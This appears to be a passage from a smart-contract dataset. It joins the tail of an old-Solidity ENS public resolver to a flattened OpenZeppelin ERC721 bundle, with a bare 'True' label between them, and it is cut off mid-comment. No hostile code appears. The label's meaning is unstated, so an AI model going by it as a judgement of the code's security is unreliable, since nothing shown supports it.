bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
event MultihashChanged(bytes32 indexed node, bytes hash);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
bytes multihash;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(ens.owner(node) == msg.sender);
_;
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
constructor(ENS ensAddr) public {
ens = ensAddr;
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) public only_owner(node) {
records[node].addr = addr;
emit AddrChanged(node, addr);
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
records[node].content = hash;
emit ContentChanged(node, hash);
}
/**
* Sets the multihash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param hash The multihash to set
*/
function setMultihash(bytes32 node, bytes hash) public only_owner(node) {
records[node].multihash = hash;
emit MultihashChanged(node, hash);
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) public only_owner(node) {
records[node].name = name;
emit NameChanged(node, name);
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
// Content types must be powers of 2
require(((contentType - 1) & contentType) == 0);
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
records[node].pubkey = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) public only_owner(node) {
records[node].text[key] = value;
emit TextChanged(node, key, key);
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) public view returns (string) {
return records[node].text[key];
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
Record storage record = records[node];
for (contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) public view returns (string) {
return records[node].name;
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) public view returns (bytes32) {
return records[node].content;
}
/**
* Returns the multihash associated with an ENS node.
* @param node The ENS node to query.
* @return The associated multihash.
*/
function multihash(bytes32 node) public view returns (bytes) {
return records[node].multihash;
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address) {
return records[node].addr;
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == MULTIHASH_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
